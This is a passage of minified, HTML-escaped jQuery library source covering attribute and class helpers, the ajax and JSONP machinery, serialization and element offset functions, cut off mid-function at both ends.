return c &amp;&amp; c.specified ? c.value : void 0
},
set: bj.set
}, n.attrHooks.contenteditable = {
set: function(a, b, c) {
bj.set(a, &quot;&quot; === b ? !1 : b, c)
}
}, n.each([&quot;width&quot;, &quot;height&quot;], function(a, b) {
n.attrHooks[b] = {
set: function(a, c) {
return &quot;&quot; === c ? (a.setAttribute(b, &quot;auto&quot;), c) : void 0
}
}
})), l.style || (n.attrHooks.style = {
get: function(a) {
return a.style.cssText || void 0
},
set: function(a, b) {
return a.style.cssText = b + &quot;&quot;
}
});
var bk = /^(?:input|select|textarea|button|object)$/i,
uc = /^(?:a|area)$/i;
n.fn.extend({
prop: function(a, b) {
return W(this, n.prop, a, b, arguments.length &gt; 1)
},
removeProp: function(a) {
return a = n.propFix[a] || a, this.each(function() {
try {
this[a] = void 0, delete this[a]
} catch (b) {}
})
}
}), n.extend({
propFix: {
&quot;for&quot;: &quot;htmlFor&quot;,
&quot;class&quot;: &quot;className&quot;
},
prop: function(a, b, c) {
var d, e, f, g = a.nodeType;
if (a &amp;&amp; 3 !== g &amp;&amp; 8 !== g &amp;&amp; 2 !== g) return f = 1 !== g || !n.isXMLDoc(a), f &amp;&amp; (b = n.propFix[b] || b, e = n.propHooks[b]), void 0 !== c ? e &amp;&amp; &quot;set&quot; in e &amp;&amp; void 0 !== (d = e.set(a, c, b)) ? d : a[b] = c : e &amp;&amp; &quot;get&quot; in e &amp;&amp; null !== (d = e.get(a, b)) ? d : a[b]
},
propHooks: {
tabIndex: {
get: function(a) {
var b = n.find.attr(a, &quot;tabindex&quot;);
return b ? parseInt(b, 10) : bk.test(a.nodeName) || uc.test(a.nodeName) &amp;&amp; a.href ? 0 : -1
}
}
}
}), l.hrefNormalized || n.each([&quot;href&quot;, &quot;src&quot;], function(a, b) {
n.propHooks[b] = {
get: function(a) {
return a.getAttribute(b, 4)
}
}
}), l.optSelected || (n.propHooks.selected = {
get: function(a) {
var b = a.parentNode;
return b &amp;&amp; (b.selectedIndex, b.parentNode &amp;&amp; b.parentNode.selectedIndex), null
}
}), n.each([&quot;tabIndex&quot;, &quot;readOnly&quot;, &quot;maxLength&quot;, &quot;cellSpacing&quot;, &quot;cellPadding&quot;, &quot;rowSpan&quot;, &quot;colSpan&quot;, &quot;useMap&quot;, &quot;frameBorder&quot;, &quot;contentEditable&quot;], function() {
n.propFix[this.toLowerCase()] = this
}), l.enctype || (n.propFix.enctype = &quot;encoding&quot;);
var bl = /[\t\r\n\f]/g;
n.fn.extend({
addClass: function(a) {
var b, c, d, e, f, g, h = 0,
i = this.length,
j = &quot;string&quot; == typeof a &amp;&amp; a;
if (n.isFunction(a)) return this.each(function(b) {
n(this).addClass(a.call(this, b, this.className))
});
if (j)
for (b = (a || &quot;&quot;).match(F) || []; i &gt; h; h++)
if (c = this[h], d = 1 === c.nodeType &amp;&amp; (c.className ? (&quot; &quot; + c.className + &quot; &quot;).replace(bl, &quot; &quot;) : &quot; &quot;)) {
f = 0;
while (e = b[f++]) d.indexOf(&quot; &quot; + e + &quot; &quot;) &lt; 0 &amp;&amp; (d += e + &quot; &quot;);
g = n.trim(d), c.className !== g &amp;&amp; (c.className = g)
}
return this
},
removeClass: function(a) {
var b, c, d, e, f, g, h = 0,
i = this.length,
j = 0 === arguments.length || &quot;string&quot; == typeof a &amp;&amp; a;
if (n.isFunction(a)) return this.each(function(b) {
n(this).removeClass(a.call(this, b, this.className))
});
if (j)
for (b = (a || &quot;&quot;).match(F) || []; i &gt; h; h++)
if (c = this[h], d = 1 === c.nodeType &amp;&amp; (c.className ? (&quot; &quot; + c.className + &quot; &quot;).replace(bl, &quot; &quot;) : &quot;&quot;)) {
f = 0;
while (e = b[f++])
while (d.indexOf(&quot; &quot; + e + &quot; &quot;) &gt;= 0) d = d.replace(&quot; &quot; + e + &quot; &quot;, &quot; &quot;);
g = a ? n.trim(d) : &quot;&quot;, c.className !== g &amp;&amp; (c.className = g)
}
return this
},
toggleClass: function(a, b) {
var c = typeof a;
return &quot;boolean&quot; == typeof b &amp;&amp; &quot;string&quot; === c ? b ? this.addClass(a) : this.removeClass(a) : this.each(n.isFunction(a) ? function(c) {
n(this).toggleClass(a.call(this, c, this.className, b), b)
} : function() {
if (&quot;string&quot; === c) {
var b, d = 0,
e = n(this),
f = a.match(F) || [];
while (b = f[d++]) e.hasClass(b) ? e.removeClass(b) : e.addClass(b)
} else(c === L || &quot;boolean&quot; === c) &amp;&amp; (this.className &amp;&amp; n._data(this, &quot;__className__&quot;, this.className), this.className = this.className || a === !1 ? &quot;&quot; : n._data(this, &quot;__className__&quot;) || &quot;&quot;)
})
},
hasClass: function(a) {
for (var b = &quot; &quot; + a + &quot; &quot;, c = 0, d = this.length; d &gt; c; c++)
if (1 === this[c].nodeType &amp;&amp; (&quot; &quot; + this[c].className + &quot; &quot;).replace(bl, &quot; &quot;).indexOf(b) &gt;= 0) return !0;
return !1
}
}), n.each(&quot;blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu&quot;.split(&quot; &quot;), function(a, b) {
n.fn[b] = function(a, c) {
return arguments.length &gt; 0 ? this.on(b, null, a, c) : this.trigger(b)
}
}), n.fn.extend({
hover: function(a, b) {
return this.mouseenter(a).mouseleave(b || a)
},
bind: function(a, b, c) {
return this.on(a, null, b, c)
},
unbind: function(a, b) {
return this.off(a, null, b)
},
delegate: function(a, b, c, d) {
return this.on(b, a, c, d)
},
undelegate: function(a, b, c) {
return 1 === arguments.length ? this.off(a, &quot;**&quot;) : this.off(b, a || &quot;**&quot;, c)
}
});
var bm = n.now(),
xc = /\?/,
yc = /(,)|(\[|{)|(}|])|&quot;(?:[^&quot;\\\r\n]|\\[&quot;\\\/bfnrt]|\\u[\da-fA-F]{4})*&quot;\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;
n.parseJSON = function(b) {
if (a.JSON &amp;&amp; a.JSON.parse) return a.JSON.parse(b + &quot;&quot;);
var c, d = null,
e = n.trim(b + &quot;&quot;);
return e &amp;&amp; !n.trim(e.replace(yc, function(a, b, e, f) {
return c &amp;&amp; b &amp;&amp; (d = 0), 0 === d ? a : (c = e || b, d += !f - !e, &quot;&quot;)
})) ? Function(&quot;return &quot; + e)() : n.error(&quot;Invalid JSON: &quot; + b)
}, n.parseXML = function(b) {
var c, d;
if (!b || &quot;string&quot; != typeof b) return null;
try {
a.DOMParser ? (d = new DOMParser, c = d.parseFromString(b, &quot;text/xml&quot;)) : (c = new ActiveXObject(&quot;Microsoft.XMLDOM&quot;), c.async = &quot;false&quot;, c.loadXML(b))
} catch (e) {
c = void 0
}
return c &amp;&amp; c.documentElement &amp;&amp; !c.getElementsByTagName(&quot;parsererror&quot;).length || n.error(&quot;Invalid XML: &quot; + b), c
};
var bn, Ac, Bc = /#.*$/,
Cc = /([?&amp;])_=[^&amp;]*/,
Dc = /^(.*?):[ \t]*([^\r\n]*)\r?$/gm,
Ec = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
Fc = /^(?:GET|HEAD)$/,
Gc = /^\/\//,
Hc = /^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,
Ic = {},
Jc = {},
Kc = &quot;*/&quot;.concat(&quot;*&quot;);
try {
Ac = location.href
} catch (Lc) {
Ac = z.createElement(&quot;a&quot;), Ac.href = &quot;&quot;, Ac = Ac.href
}
bn = Hc.exec(Ac.toLowerCase()) || [];

function Mc(a) {
return function(b, c) {
&quot;string&quot; != typeof b &amp;&amp; (c = b, b = &quot;*&quot;);
var d, e = 0,
f = b.toLowerCase().match(F) || [];
if (n.isFunction(c))
while (d = f[e++]) &quot;+&quot; === d.charAt(0) ? (d = d.slice(1) || &quot;*&quot;, (a[d] = a[d] || []).unshift(c)) : (a[d] = a[d] || []).push(c)
}
}

function Nc(a, b, c, d) {
var e = {},
f = a === Jc;

function g(h) {
var i;
return e[h] = !0, n.each(a[h] || [], function(a, h) {
var j = h(b, c, d);
return &quot;string&quot; != typeof j || f || e[j] ? f ? !(i = j) : void 0 : (b.dataTypes.unshift(j), g(j), !1)
}), i
}
return g(b.dataTypes[0]) || !e[&quot;*&quot;] &amp;&amp; g(&quot;*&quot;)
}

function Oc(a, b) {
var c, d, e = n.ajaxSettings.flatOptions || {};
for (d in b) void 0 !== b[d] &amp;&amp; ((e[d] ? a : c || (c = {}))[d] = b[d]);
return c &amp;&amp; n.extend(!0, a, c), a
}

function Pc(a, b, c) {
var d, e, f, g, h = a.contents,
i = a.dataTypes;
while (&quot;*&quot; === i[0]) i.shift(), void 0 === e &amp;&amp; (e = a.mimeType || b.getResponseHeader(&quot;Content-Type&quot;));
if (e)
for (g in h)
if (h[g] &amp;&amp; h[g].test(e)) {
i.unshift(g);
break
}
if (i[0] in c) f = i[0];
else {
for (g in c) {
if (!i[0] || a.converters[g + &quot; &quot; + i[0]]) {
f = g;
break
}
d || (d = g)
}
f = f || d
}
return f ? (f !== i[0] &amp;&amp; i.unshift(f), c[f]) : void 0
}

function Qc(a, b, c, d) {
var e, f, g, h, i, j = {},
k = a.dataTypes.slice();
if (k[1])
for (g in a.converters) j[g.toLowerCase()] = a.converters[g];
f = k.shift();
while (f)
if (a.responseFields[f] &amp;&amp; (c[a.responseFields[f]] = b), !i &amp;&amp; d &amp;&amp; a.dataFilter &amp;&amp; (b = a.dataFilter(b, a.dataType)), i = f, f = k.shift())
if (&quot;*&quot; === f) f = i;
else if (&quot;*&quot; !== i &amp;&amp; i !== f) {
if (g = j[i + &quot; &quot; + f] || j[&quot;* &quot; + f], !g)
for (e in j)
if (h = e.split(&quot; &quot;), h[1] === f &amp;&amp; (g = j[i + &quot; &quot; + h[0]] || j[&quot;* &quot; + h[0]])) {
g === !0 ? g = j[e] : j[e] !== !0 &amp;&amp; (f = h[0], k.unshift(h[1]));
break
}
if (g !== !0)
if (g &amp;&amp; a[&quot;throws&quot;]) b = g(b);
else try {
b = g(b)
} catch (l) {
return {
state: &quot;parsererror&quot;,
error: g ? l : &quot;No conversion from &quot; + i + &quot; to &quot; + f
}
}
}
return {
state: &quot;success&quot;,
data: b
}
}
n.extend({
active: 0,
lastModified: {},
etag: {},
ajaxSettings: {
url: Ac,
type: &quot;GET&quot;,
isLocal: Ec.test(bn[1]),
global: !0,
processData: !0,
async: !0,
contentType: &quot;application/x-www-form-urlencoded; charset=UTF-8&quot;,
accepts: {
&quot;*&quot;: Kc,
text: &quot;text/plain&quot;,
html: &quot;text/html&quot;,
xml: &quot;application/xml, text/xml&quot;,
json: &quot;application/json, text/javascript&quot;
},
contents: {
xml: /xml/,
html: /html/,
json: /json/
},
responseFields: {
xml: &quot;responseXML&quot;,
text: &quot;responseText&quot;,
json: &quot;responseJSON&quot;
},
converters: {
&quot;* text&quot;: String,
&quot;text html&quot;: !0,
&quot;text json&quot;: n.parseJSON,
&quot;text xml&quot;: n.parseXML
},
flatOptions: {
url: !0,
context: !0
}
},
ajaxSetup: function(a, b) {
return b ? Oc(Oc(a, n.ajaxSettings), b) : Oc(n.ajaxSettings, a)
},
ajaxPrefilter: Mc(Ic),
ajaxTransport: Mc(Jc),
ajax: function(a, b) {
&quot;object&quot; == typeof a &amp;&amp; (b = a, a = void 0), b = b || {};
var c, d, e, f, g, h, i, j, k = n.ajaxSetup({}, b),
l = k.context || k,
m = k.context &amp;&amp; (l.nodeType || l.jquery) ? n(l) : n.event,
o = n.Deferred(),
p = n.Callbacks(&quot;once memory&quot;),
q = k.statusCode || {},
r = {},
s = {},
t = 0,
u = &quot;canceled&quot;,
v = {
readyState: 0,
getResponseHeader: function(a) {
var b;
if (2 === t) {
if (!j) {
j = {};
while (b = Dc.exec(f)) j[b[1].toLowerCase()] = b[2]
}
b = j[a.toLowerCase()]
}
return null == b ? null : b
},
getAllResponseHeaders: function() {
return 2 === t ? f : null
},
setRequestHeader: function(a, b) {
var c = a.toLowerCase();
return t || (a = s[c] = s[c] || a, r[a] = b), this
},
overrideMimeType: function(a) {
return t || (k.mimeType = a), this
},
statusCode: function(a) {
var b;
if (a)
if (2 &gt; t)
for (b in a) q[b] = [q[b], a[b]];
else v.always(a[v.status]);
return this
},
abort: function(a) {
var b = a || u;
return i &amp;&amp; i.abort(b), x(0, b), this
}
};
if (o.promise(v).complete = p.add, v.success = v.done, v.error = v.fail, k.url = ((a || k.url || Ac) + &quot;&quot;).replace(Bc, &quot;&quot;).replace(Gc, bn[1] + &quot;//&quot;), k.type = b.method || b.type || k.method || k.type, k.dataTypes = n.trim(k.dataType || &quot;*&quot;).toLowerCase().match(F) || [&quot;&quot;], null == k.crossDomain &amp;&amp; (c = Hc.exec(k.url.toLowerCase()), k.crossDomain = !(!c || c[1] === bn[1] &amp;&amp; c[2] === bn[2] &amp;&amp; (c[3] || (&quot;http:&quot; === c[1] ? &quot;80&quot; : &quot;443&quot;)) === (bn[3] || (&quot;http:&quot; === bn[1] ? &quot;80&quot; : &quot;443&quot;)))), k.data &amp;&amp; k.processData &amp;&amp; &quot;string&quot; != typeof k.data &amp;&amp; (k.data = n.param(k.data, k.traditional)), Nc(Ic, k, b, v), 2 === t) return v;
h = k.global, h &amp;&amp; 0 === n.active++ &amp;&amp; n.event.trigger(&quot;ajaxStart&quot;), k.type = k.type.toUpperCase(), k.hasContent = !Fc.test(k.type), e = k.url, k.hasContent || (k.data &amp;&amp; (e = k.url += (xc.test(e) ? &quot;&amp;&quot; : &quot;?&quot;) + k.data, delete k.data), k.cache === !1 &amp;&amp; (k.url = Cc.test(e) ? e.replace(Cc, &quot;$1_=&quot; + bm++) : e + (xc.test(e) ? &quot;&amp;&quot; : &quot;?&quot;) + &quot;_=&quot; + bm++)), k.ifModified &amp;&amp; (n.lastModified[e] &amp;&amp; v.setRequestHeader(&quot;If-Modified-Since&quot;, n.lastModified[e]), n.etag[e] &amp;&amp; v.setRequestHeader(&quot;If-None-Match&quot;, n.etag[e])), (k.data &amp;&amp; k.hasContent &amp;&amp; k.contentType !== !1 || b.contentType) &amp;&amp; v.setRequestHeader(&quot;Content-Type&quot;, k.contentType), v.setRequestHeader(&quot;Accept&quot;, k.dataTypes[0] &amp;&amp; k.accepts[k.dataTypes[0]] ? k.accepts[k.dataTypes[0]] + (&quot;*&quot; !== k.dataTypes[0] ? &quot;, &quot; + Kc + &quot;; q=0.01&quot; : &quot;&quot;) : k.accepts[&quot;*&quot;]);
for (d in k.headers) v.setRequestHeader(d, k.headers[d]);
if (k.beforeSend &amp;&amp; (k.beforeSend.call(l, v, k) === !1 || 2 === t)) return v.abort();
u = &quot;abort&quot;;
for (d in {
success: 1,
error: 1,
complete: 1
}) v[d](k[d]);
if (i = Nc(Jc, k, b, v)) {
v.readyState = 1, h &amp;&amp; m.trigger(&quot;ajaxSend&quot;, [v, k]), k.async &amp;&amp; k.timeout &gt; 0 &amp;&amp; (g = setTimeout(function() {
v.abort(&quot;timeout&quot;)
}, k.timeout));
try {
t = 1, i.send(r, x)
} catch (w) {
if (!(2 &gt; t)) throw w;
x(-1, w)
}
} else x(-1, &quot;No Transport&quot;);

function x(a, b, c, d) {
var j, r, s, u, w, x = b;
2 !== t &amp;&amp; (t = 2, g &amp;&amp; clearTimeout(g), i = void 0, f = d || &quot;&quot;, v.readyState = a &gt; 0 ? 4 : 0, j = a &gt;= 200 &amp;&amp; 300 &gt; a || 304 === a, c &amp;&amp; (u = Pc(k, v, c)), u = Qc(k, u, v, j), j ? (k.ifModified &amp;&amp; (w = v.getResponseHeader(&quot;Last-Modified&quot;), w &amp;&amp; (n.lastModified[e] = w), w = v.getResponseHeader(&quot;etag&quot;), w &amp;&amp; (n.etag[e] = w)), 204 === a || &quot;HEAD&quot; === k.type ? x = &quot;nocontent&quot; : 304 === a ? x = &quot;notmodified&quot; : (x = u.state, r = u.data, s = u.error, j = !s)) : (s = x, (a || !x) &amp;&amp; (x = &quot;error&quot;, 0 &gt; a &amp;&amp; (a = 0))), v.status = a, v.statusText = (b || x) + &quot;&quot;, j ? o.resolveWith(l, [r, x, v]) : o.rejectWith(l, [v, x, s]), v.statusCode(q), q = void 0, h &amp;&amp; m.trigger(j ? &quot;ajaxSuccess&quot; : &quot;ajaxError&quot;, [v, k, j ? r : s]), p.fireWith(l, [v, x]), h &amp;&amp; (m.trigger(&quot;ajaxComplete&quot;, [v, k]), --n.active || n.event.trigger(&quot;ajaxStop&quot;)))
}
return v
},
getJSON: function(a, b, c) {
return n.get(a, b, c, &quot;json&quot;)
},
getScript: function(a, b) {
return n.get(a, void 0, b, &quot;script&quot;)
}
}), n.each([&quot;get&quot;, &quot;post&quot;], function(a, b) {
n[b] = function(a, c, d, e) {
return n.isFunction(c) &amp;&amp; (e = e || d, d = c, c = void 0), n.ajax({
url: a,
type: b,
dataType: e,
data: c,
success: d
})
}
}), n.each([&quot;ajaxStart&quot;, &quot;ajaxStop&quot;, &quot;ajaxComplete&quot;, &quot;ajaxError&quot;, &quot;ajaxSuccess&quot;, &quot;ajaxSend&quot;], function(a, b) {
n.fn[b] = function(a) {
return this.on(b, a)
}
}), n._evalUrl = function(a) {
return n.ajax({
url: a,
type: &quot;GET&quot;,
dataType: &quot;script&quot;,
async: !1,
global: !1,
&quot;throws&quot;: !0
})
}, n.fn.extend({
wrapAll: function(a) {
if (n.isFunction(a)) return this.each(function(b) {
n(this).wrapAll(a.call(this, b))
});
if (this[0]) {
var b = n(a, this[0].ownerDocument).eq(0).clone(!0);
this[0].parentNode &amp;&amp; b.insertBefore(this[0]), b.map(function() {
var a = this;
while (a.firstChild &amp;&amp; 1 === a.firstChild.nodeType) a = a.firstChild;
return a
}).append(this)
}
return this
},
wrapInner: function(a) {
return this.each(n.isFunction(a) ? function(b) {
n(this).wrapInner(a.call(this, b))
} : function() {
var b = n(this),
c = b.contents();
c.length ? c.wrapAll(a) : b.append(a)
})
},
wrap: function(a) {
var b = n.isFunction(a);
return this.each(function(c) {
n(this).wrapAll(b ? a.call(this, c) : a)
})
},
unwrap: function() {
return this.parent().each(function() {
n.nodeName(this, &quot;body&quot;) || n(this).replaceWith(this.childNodes)
}).end()
}
}), n.expr.filters.hidden = function(a) {
return a.offsetWidth &lt;= 0 &amp;&amp; a.offsetHeight &lt;= 0 || !l.reliableHiddenOffsets() &amp;&amp; &quot;none&quot; === (a.style &amp;&amp; a.style.display || n.css(a, &quot;display&quot;))
}, n.expr.filters.visible = function(a) {
return !n.expr.filters.hidden(a)
};
var bo = /%20/g,
Sc = /\[\]$/,
Tc = /\r?\n/g,
Uc = /^(?:submit|button|image|reset|file)$/i,
Vc = /^(?:input|select|textarea|keygen)/i;

function Wc(a, b, c, d) {
var e;
if (n.isArray(b)) n.each(b, function(b, e) {
c || Sc.test(a) ? d(a, e) : Wc(a + &quot;[&quot; + (&quot;object&quot; == typeof e ? b : &quot;&quot;) + &quot;]&quot;, e, c, d)
});
else if (c || &quot;object&quot; !== n.type(b)) d(a, b);
else
for (e in b) Wc(a + &quot;[&quot; + e + &quot;]&quot;, b[e], c, d)
}
n.param = function(a, b) {
var c, d = [],
e = function(a, b) {
b = n.isFunction(b) ? b() : null == b ? &quot;&quot; : b, d[d.length] = encodeURIComponent(a) + &quot;=&quot; + encodeURIComponent(b)
};
if (void 0 === b &amp;&amp; (b = n.ajaxSettings &amp;&amp; n.ajaxSettings.traditional), n.isArray(a) || a.jquery &amp;&amp; !n.isPlainObject(a)) n.each(a, function() {
e(this.name, this.value)
});
else
for (c in a) Wc(c, a[c], b, e);
return d.join(&quot;&amp;&quot;).replace(bo, &quot;+&quot;)
}, n.fn.extend({
serialize: function() {
return n.param(this.serializeArray())
},
serializeArray: function() {
return this.map(function() {
var a = n.prop(this, &quot;elements&quot;);
return a ? n.makeArray(a) : this
}).filter(function() {
var a = this.type;
return this.name &amp;&amp; !n(this).is(&quot;:disabled&quot;) &amp;&amp; Vc.test(this.nodeName) &amp;&amp; !Uc.test(a) &amp;&amp; (this.checked || !X.test(a))
}).map(function(a, b) {
var c = n(this).val();
return null == c ? null : n.isArray(c) ? n.map(c, function(a) {
return {
name: b.name,
value: a.replace(Tc, &quot;\r\n&quot;)
}
}) : {
name: b.name,
value: c.replace(Tc, &quot;\r\n&quot;)
}
}).get()
}
}), n.ajaxSettings.xhr = void 0 !== a.ActiveXObject ? function() {
return !this.isLocal &amp;&amp; /^(get|post|head|put|delete|options)$/i.test(this.type) &amp;&amp; $c() || _c()
} : $c;
var bp = 0,
Yc = {},
Zc = n.ajaxSettings.xhr();
a.ActiveXObject &amp;&amp; n(a).on(&quot;unload&quot;, function() {
for (var a in Yc) Yc[a](void 0, !0)
}), l.cors = !!Zc &amp;&amp; &quot;withCredentials&quot; in Zc, Zc = l.ajax = !!Zc, Zc &amp;&amp; n.ajaxTransport(function(a) {
if (!a.crossDomain || l.cors) {
var b;
return {
send: function(c, d) {
var e, f = a.xhr(),
g = ++bp;
if (f.open(a.type, a.url, a.async, a.username, a.password), a.xhrFields)
for (e in a.xhrFields) f[e] = a.xhrFields[e];
a.mimeType &amp;&amp; f.overrideMimeType &amp;&amp; f.overrideMimeType(a.mimeType), a.crossDomain || c[&quot;X-Requested-With&quot;] || (c[&quot;X-Requested-With&quot;] = &quot;XMLHttpRequest&quot;);
for (e in c) void 0 !== c[e] &amp;&amp; f.setRequestHeader(e, c[e] + &quot;&quot;);
f.send(a.hasContent &amp;&amp; a.data || null), b = function(c, e) {
var h, i, j;
if (b &amp;&amp; (e || 4 === f.readyState))
if (delete Yc[g], b = void 0, f.onreadystatechange = n.noop, e) 4 !== f.readyState &amp;&amp; f.abort();
else {
j = {}, h = f.status, &quot;string&quot; == typeof f.responseText &amp;&amp; (j.text = f.responseText);
try {
i = f.statusText
} catch (k) {
i = &quot;&quot;
}
h || !a.isLocal || a.crossDomain ? 1223 === h &amp;&amp; (h = 204) : h = j.text ? 200 : 404
}
j &amp;&amp; d(h, i, j, f.getAllResponseHeaders())
}, a.async ? 4 === f.readyState ? setTimeout(b) : f.onreadystatechange = Yc[g] = b : b()
},
abort: function() {
b &amp;&amp; b(void 0, !0)
}
}
}
});

function $c() {
try {
return new a.XMLHttpRequest
} catch (b) {}
}

function _c() {
try {
return new a.ActiveXObject(&quot;Microsoft.XMLHTTP&quot;)
} catch (b) {}
}
n.ajaxSetup({
accepts: {
script: &quot;text/javascript, application/javascript, application/ecmascript, application/x-ecmascript&quot;
},
contents: {
script: /(?:java|ecma)script/
},
converters: {
&quot;text script&quot;: function(a) {
return n.globalEval(a), a
}
}
}), n.ajaxPrefilter(&quot;script&quot;, function(a) {
void 0 === a.cache &amp;&amp; (a.cache = !1), a.crossDomain &amp;&amp; (a.type = &quot;GET&quot;, a.global = !1)
}), n.ajaxTransport(&quot;script&quot;, function(a) {
if (a.crossDomain) {
var b, c = z.head || n(&quot;head&quot;)[0] || z.documentElement;
return {
send: function(d, e) {
b = z.createElement(&quot;script&quot;), b.async = !0, a.scriptCharset &amp;&amp; (b.charset = a.scriptCharset), b.src = a.url, b.onload = b.onreadystatechange = function(a, c) {
(c || !b.readyState || /loaded|complete/.test(b.readyState)) &amp;&amp; (b.onload = b.onreadystatechange = null, b.parentNode &amp;&amp; b.parentNode.removeChild(b), b = null, c || e(200, &quot;success&quot;))
}, c.insertBefore(b, c.firstChild)
},
abort: function() {
b &amp;&amp; b.onload(void 0, !0)
}
}
}
});
var bq = [],
bd = /(=)\?(?=&amp;|$)|\?\?/;
n.ajaxSetup({
jsonp: &quot;callback&quot;,
jsonpCallback: function() {
var a = bq.pop() || n.expando + &quot;_&quot; + bm++;
return this[a] = !0, a
}
}), n.ajaxPrefilter(&quot;json jsonp&quot;, function(b, c, d) {
var e, f, g, h = b.jsonp !== !1 &amp;&amp; (bd.test(b.url) ? &quot;url&quot; : &quot;string&quot; == typeof b.data &amp;&amp; !(b.contentType || &quot;&quot;).indexOf(&quot;application/x-www-form-urlencoded&quot;) &amp;&amp; bd.test(b.data) &amp;&amp; &quot;data&quot;);
return h || &quot;jsonp&quot; === b.dataTypes[0] ? (e = b.jsonpCallback = n.isFunction(b.jsonpCallback) ? b.jsonpCallback() : b.jsonpCallback, h ? b[h] = b[h].replace(bd, &quot;$1&quot; + e) : b.jsonp !== !1 &amp;&amp; (b.url += (xc.test(b.url) ? &quot;&amp;&quot; : &quot;?&quot;) + b.jsonp + &quot;=&quot; + e), b.converters[&quot;script json&quot;] = function() {
return g || n.error(e + &quot; was not called&quot;), g[0]
}, b.dataTypes[0] = &quot;json&quot;, f = a[e], a[e] = function() {
g = arguments
}, d.always(function() {
a[e] = f, b[e] &amp;&amp; (b.jsonpCallback = c.jsonpCallback, bq.push(e)), g &amp;&amp; n.isFunction(f) &amp;&amp; f(g[0]), g = f = void 0
}), &quot;script&quot;) : void 0
}), n.parseHTML = function(a, b, c) {
if (!a || &quot;string&quot; != typeof a) return null;
&quot;boolean&quot; == typeof b &amp;&amp; (c = b, b = !1), b = b || z;
var d = v.exec(a),
e = !c &amp;&amp; [];
return d ? [b.createElement(d[1])] : (d = n.buildFragment([a], b, e), e &amp;&amp; e.length &amp;&amp; n(e).remove(), n.merge([], d.childNodes))
};
var br = n.fn.load;
n.fn.load = function(a, b, c) {
if (&quot;string&quot; != typeof a &amp;&amp; br) return br.apply(this, arguments);
var d, e, f, g = this,
h = a.indexOf(&quot; &quot;);
return h &gt;= 0 &amp;&amp; (d = a.slice(h, a.length), a = a.slice(0, h)), n.isFunction(b) ? (c = b, b = void 0) : b &amp;&amp; &quot;object&quot; == typeof b &amp;&amp; (f = &quot;POST&quot;), g.length &gt; 0 &amp;&amp; n.ajax({
url: a,
type: f,
dataType: &quot;html&quot;,
data: b
}).done(function(a) {
e = arguments, g.html(d ? n(&quot;
&lt;div&gt;&quot;).append(n.parseHTML(a)).find(d) : a)
}).complete(c &amp;&amp; function(a, b) {
g.each(c, e || [a.responseText, b, a])
}), this
}, n.expr.filters.animated = function(a) {
return n.grep(n.timers, function(b) {
return a === b.elem
}).length
};
var bs = a.document.documentElement;

function ed(a) {
return n.isWindow(a) ? a : 9 === a.nodeType ? a.defaultView || a.parentWindow : !1
}
n.offset = {
setOffset: function(a, b, c) {
var d, e, f, g, h, i, j, k = n.css(a, &quot;position&quot;),
l = n(a),
m = {};
&quot;static&quot; === k &amp;&amp; (a.style.position = &quot;relative&quot;), h = l.offset(), f = n.css(a, &quot;top&quot;), i = n.css(a, &quot;left&quot;), j = (&quot;absolute&quot; === k || &quot;fixed&quot; === k) &amp;&amp; n.inArray(&quot;auto&quot;, [f, i]) &gt; -1, j ? (d = l.position(), g = d.top, e = d.left) : (g = parseFloat(f) || 0, e = parseFloat(i) || 0), n.isFunction(b) &amp;&amp; (b = b.call(a, c, h)), null != b.top &amp;&amp; (m.top = b.top - h.top + g), null != b.left &amp;&amp; (m.left = b.left - h.left + e), &quot;using&quot; in b ? b.using.call(a, m) : l.css(m)
}
}, n.fn.extend({
offset: function(a) {
if (arguments.length) return void 0 === a ? this : this.each(function(b) {
n.offset.setOffset(this, a, b)
});
var b, c, d = {
top: 0,
left: 0
},
e = this[0],
f = e &amp;&amp; e.ownerDocument;
if (f) return b = f.documentElement, n.contains(b, e) ? (typeof e.getBoundingClientRect !== L &amp;&amp; (d = e.getBoundingClientRect()), c = ed(f), {
top: d.top + (c.pageYOffset || b.scrollTop) - (b.clientTop || 0),
left: d.left + (c.pageXOffset || b.scrollLeft) - (b.clientLeft || 0)
}) : d
},
position: function() {
if (this[0]) {
var a, b, c = {
top: 0,
left: 0
},
d = this[0];
return &quot;fixed&quot; === n.css(d, &quot;position&quot;) ? b = d.getBoundingClientRect() : (a = this.offsetParent(), b = this.offset(), n.nodeName(a[0], &quot;html&quot;) || (c = a.offset()), c.top += n.css(a[0], &quot;borderTopWidth&quot;, !0), c.left += n.css(a[0], &quot;borderLeftWidth&quot;, !0)), {
top: b.top - c.top - n.css(d, &quot;marginTop&quot;, !0),
left: b.left - c.left - n.css(d, &quot;marginLeft&quot;, !0)
}
}
},
offsetParent: function() {
return this.map(function() {
var a = this.offsetParent || bs;
while (a &amp;&amp; !n.nodeName(a, &quot;html&quot;) &amp;&amp; &quot;static&quot; === n.css(a, &quot;position&quot;)) a = a.offsetParent;
return a || bs
})
}
}), n.each({
scrollLeft: &quot;pageXOffset&quot;,
scrollTop: &quot;pageYOffset&quot;
}, function(a, b) {
var c = /Y/.test(b);
n.fn[a] = function(d) {
return W(this, function(a, d, e) {
var f = ed(a);
return void 0 === e ? f ? b in f ? f[b] : f.document.documentElement[d] : a[d] : void(f ? f.scrollTo(c ? n(f).scrollLeft() : e, c ? e : n(f).scrollTop()) : a[d] = e)
}, a, d, arguments.length, null)
}
}), n.each([&quot;top&quot;, &quot;left&quot;], function(a, b) {
n.cssHooks[b] = Mb(l.pixelPosition, function(a, c) {
return c ? (c = Kb(a, b), Ib.test(c) ? n(a).position()[b] + &quot;px&quot; : c) : void 0
})
}), n.each({
Height: &quot;height&quot;,
Width: &quot;width&quot;
}, function(a, b) {
n.each({
padding: &quot;inner&quot; + a,
content: b,
&quot;&quot;: &quot;outer&quot; + a
}, function(c, d) {
n.fn[d] = function(d, e) {
var f = arguments.length &amp;&amp; (c || &quot;boolean&quot; != typeof d),
g = c || (d === !0 || e === !0 ? &quot;margin&quot; : &quot;border&quot;);
return W(this, function(b, c, d) {
var e;
